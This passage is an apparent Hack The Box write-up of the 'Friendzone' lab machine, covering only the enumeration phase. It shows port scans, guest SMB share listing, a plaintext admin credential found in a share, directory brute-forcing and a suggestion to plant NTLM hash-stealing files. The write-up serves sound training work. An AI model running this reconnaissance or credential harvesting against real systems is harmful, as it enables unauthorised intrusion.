<p>Every now and then I’ll go back and do an old box on HTB, it serves as a nice break from all the Windows/AD headscratchers that’s been released recently. It’s also interesting to see how much the boxes have changed over the years. While the current boxes have much more realistic scenarios and often feature newly discovered vulnerabilities, older ones are more CTF-like and full of rabbit holes. Friendzone was released in February 2019, so the box is themed around Valentines with lots of trolls. It starts with finding credentials in an open SMB share and discovering a subdomain via DNS zone transfer. The subdomain hosts an admin portal vulnerable to LFI, which can be exploited to get a shell. Privilege escalation involves a simple Python module hijack.</p>

<hr />
<h2 id="enumeration">Enumeration:</h2>
<h3 id="nmap">Nmap:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/friendzone</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">sudo nmap --min-rate 1000 -p- 10.129.26.47</span>
<span class="cmd-output">
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-13 21:49 ACDT
Nmap scan report for 10.129.26.47
Host is up (0.26s latency).
Not shown: 65528 closed tcp ports (reset)
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
53/tcp  open  domain
80/tcp  open  http
139/tcp open  netbios-ssn
443/tcp open  https
445/tcp open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 70.43 seconds
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/friendzone</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">sudo nmap -A -p 21,22,53,80,139,443,445 10.129.26.47</span>
<span class="cmd-output">
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-13 21:52 ACDT
Nmap scan report for 10.129.26.47
Host is up (0.26s latency).

PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
|   256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)
|_  256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)
53/tcp  open  domain      ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Friend Zone Escape software
|_http-server-header: Apache/2.4.29 (Ubuntu)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open  ssl/http    Apache httpd 2.4.29
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.29 (Ubuntu)
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after:  2018-11-04T21:02:30
| tls-alpn: 
|_  http/1.1
|_http-title: 404 Not Found
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Network Distance: 2 hops
Service Info: Hosts: FRIENDZONE, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: friendzone
|   NetBIOS computer name: FRIENDZONE\x00
|   Domain name: \x00
|   FQDN: friendzone
|_  System time: 2025-11-13T13:22:39+02:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: &lt;unknown&gt; (unknown)
| smb2-time: 
|   date: 2025-11-13T11:22:39
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: mean: -39m58s, deviation: 1h09m16s, median: 0s

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   270.04 ms 10.10.14.1
2   268.37 ms 10.129.26.47

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.65 seconds
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Nmap found 7 open ports, including ones that are not commonly seen on Linux (RPC, NetBIOS). The SMB script even misidentified the OS as Windows. FTP’s available, but with no anonymous access and a secure version, not much could be done from an unauthenticated standpoint. There’s also HTTP and HTTPS, but they’re running two different sites based on the page titles. The SSL certificate has a domain <code class="language-plaintext highlighter-rouge">friendzone.red</code>, I’ll add it to <code class="language-plaintext highlighter-rouge">/etc/hosts</code>.</p>

<h3 id="tcp445---smb">TCP445 - SMB:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/friendzone</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">netexec smb friendzone.red -u '' -p '' --shares</span>
<span class="cmd-output">
SMB         10.129.26.47    445    FRIENDZONE       [*] Unix - Samba (name:FRIENDZONE) (domain:) (signing:False) (SMBv1:True) 
SMB         10.129.26.47    445    FRIENDZONE       [+] \: (Guest)
SMB         10.129.26.47    445    FRIENDZONE       [*] Enumerated shares
SMB         10.129.26.47    445    FRIENDZONE       Share           Permissions     Remark
SMB         10.129.26.47    445    FRIENDZONE       -----           -----------     ------
SMB         10.129.26.47    445    FRIENDZONE       print$                          Printer Drivers
SMB         10.129.26.47    445    FRIENDZONE       Files                           FriendZone Samba Server Files /etc/Files
SMB         10.129.26.47    445    FRIENDZONE       general         READ            FriendZone Samba Server Files
SMB         10.129.26.47    445    FRIENDZONE       Development     READ,WRITE      FriendZone Samba Server Files
SMB         10.129.26.47    445    FRIENDZONE       IPC$                            IPC Service (FriendZone server (Samba, Ubuntu))
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Guest login is enabled, and it has access to two shares, including write permissions on <code class="language-plaintext highlighter-rouge">Development</code>. <code class="language-plaintext highlighter-rouge">Files</code> is not accessible, but its remark field exposed the server path of the share. The other shares don’t have this remark, but I can probably make an educated guess that they’re located at <code class="language-plaintext highlighter-rouge">/etc/general</code> and <code class="language-plaintext highlighter-rouge">/etc/Development</code> respectively. This will become important later on.</p>

<h6 id="general">general:</h6>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/friendzone</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">smbclient -N \\\\friendzone.red\\general</span>
<span class="cmd-output">
Try "help" to get a list of possible commands.
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">smb: \&gt;</span></span> <span class="custom-cmd">ls</span>

<span class="custom-output">&nbsp;
  .                                   D        0  Thu Jan 17 06:40:51 2019
  ..                                  D        0  Wed Sep 14 00:26:24 2022
  creds.txt                           N       57  Wed Oct 10 10:22:42 2018

		3545824 blocks of size 1024. 1651352 blocks available</span></pre>
  </div>
</div>

<p>It has a single file that contains admin credentials, but it’s unknown what service it’s for.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>creds for the admin THING:

admin:WORKWORKHhallelujah@#
</code></pre></div></div>

<h6 id="development">Development:</h6>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/friendzone</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">smbclient -N \\\\friendzone.red\\Development</span>
<span class="cmd-output">
Try "help" to get a list of possible commands.
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">smb: \&gt;</span></span> <span class="custom-cmd">ls</span>

<span class="custom-output">&nbsp;
  .                                   D        0  Thu Nov 13 22:08:08 2025
  ..                                  D        0  Wed Sep 14 00:26:24 2022

		3545824 blocks of size 1024. 1651348 blocks available</span></pre>
  </div>
</div>

<p><code class="language-plaintext highlighter-rouge">Development</code> is empty, but I’m able to upload files to it. If this is a Windows machine, I may upload <a href="https://github.com/Greenwolf/ntlm_theft">NTLM hash-stealing files</a> in the hope that someone opens it. Unfortunately this won’t work on Linux.</p>

<h3 id="tcp80---http">TCP80 - HTTP:</h3>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/friendzone/port80_home.png" alt="" /></p>

<p>The home page is already trolling, but aside from the meme there isn’t much else to look at. The email has another domain <code class="language-plaintext highlighter-rouge">friendzoneportal.red</code>, I’ve added it to <code class="language-plaintext highlighter-rouge">/etc/hosts</code> but it pointed back to the same page.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/friendzone</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">gobuster dir -u http://friendzone.red -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50</span>
<span class="cmd-output">
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://friendzone.red
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/wordpress            (Status: 301) [Size: 320] [--&gt; http://friendzone.red/wordpress/]
Progress: 21054 / 220560 (9.55%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 21090 / 220560 (9.56%)
===============================================================
Finished
===============================================================
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p><code class="language-plaintext highlighter-rouge">gobuster</code> did find <code class="language-plaintext highlighter-rouge">/wordpress</code>, but it turned out to be just an empty directory listing.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/friendzone/port80_wordpress.png" alt="" /></p>

<p>I don’t think there’s anything else on here.</p>

<h3 id="tcp443---https">TCP443 - HTTPS:</h3>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/friendzone/port443_home.png" alt="" /></p>

<p>The HTTPS page is yet another troll.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/friendzone/port443_fzportal_home.png" alt="" /></p>

<p>And so is <code class="language-plaintext highlighter-rouge">friendzoneportal.red</code>.</p>

<p>However, the page source of the first site does suggest there’s something at <code class="language-plaintext highlighter-rouge">/js/js</code>:</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/friendzone/port443_home_source.png" alt="" /></p>

<h6 id="jsjs"><code class="language-plaintext highlighter-rouge">/js/js</code>:</h6>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/friendzone/port443_js_js.png" alt="" /></p>

<p>It shows a base64 string, but decodes to gibberish.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/friendzone</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">echo eFY2cVJpZTIzMDE3NjMwMzUzMjYxREtwMkFGRUNw | base64 -d</span>
<span class="cmd-output">xV6qRie23017630353261DKp2AFECp</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
